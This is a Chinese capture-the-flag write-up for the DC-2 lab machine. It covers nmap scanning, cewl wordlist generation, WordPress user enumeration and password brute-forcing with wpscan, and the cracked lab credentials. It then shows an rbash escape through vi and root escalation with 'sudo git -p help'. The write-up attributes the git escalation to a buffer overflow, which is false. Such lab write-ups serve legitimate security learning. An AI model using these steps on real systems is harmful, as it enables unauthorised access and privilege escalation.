主机发现
nmap -sP 172.27.30.1/24
得到目的主机IP为172.27.30.133
端口探测
Nmap -sV -sP -oA DC-2 -p- 172.27.30.133
开放了80 和7744端口分别用于http和ssh服务
访问该网址发现无法访问成功,如下修改/etc/hosts文件,这样就可以访问域名dc-2
访问成功后拿到flag1
提示常用密码无用,要考虑cewl工具(CeWL 是一个 rubyQ 应用程序,它将给定的 URL 爬到指定的深度,可以选择跟随外部链接,并返回一个单词列表,然后可用于密码破
解
Cewl 是黑客武器库中的强大工具,因为它允许创建有针对性的单词列表,可以大大提高 密码破解尝试的效率)
常用命令
cewl -h 查看帮助
cewl http://172.27.30.133 -w pass.txt 通过网站信息收集生成密码词典pass.txt
字典有了,我们需要用户名,考虑通用的用户名(可能不一定成功),考虑针对网站cms工具收集用户名
Dirb http://dc-2/ 扫描找到了登录界面,可以看出这是一个wordpress搭建的网站
考虑使用专用的wpscan来搜集用户信息
Wpscan --url http://dc-2/ -e u ,得到三个用户 admin jerry tom 将其写入users.txt
在得到用户名字典和密码字典后,Wpscan进行暴力破解
wpscan --url http://dc-2 -U users.txt -P dc2-pass.txt
得到成功的用户名和密码
| Username: jerry , Password: adipiscing
| Username: tom , Password: parturient
尝试ssh登录
ssh jerry@172.27.30.133 -p 7744
ssh tom@172.27.30.133 -p 7744 登录成功
Cat flag3.txt 提示-rbash 未找到cat命令,是rbash环境限制问题,要绕过或者直接用vi打开flag3.txt也能查看内容
*1. vi flag3.txt文本文件*
*2. 输入英文冒号:*
*3. 在冒号后输入set shell=/bin/sh回车*
*4. 输入:shell调用/bin/sh*
*之后会自动跳转出vi,*
*6. 设置命令路径变量*
rbash逃逸之后,在shell中添加命令路径变量:
*export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin*
绕过-rbash具体参考linux进行rbash逃逸的方法-CSDN博客
Sudo -l 查看可执行特权指令
考虑Git提权(参考网安笔记——提权的各种姿势_git提权-CSDN博客)
*git提权*
git提权的原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码既可以执行这条命令。以下有两种方法:
1、sudo git help config,然后在末行输入!/bin/bash或!'sh'完成提权。(*个人测试未成功*)
2、sudo git -p help,然后输入!/bin/bash,即可打开一个root的shell。
提权成功后即可访问/root得到最终flag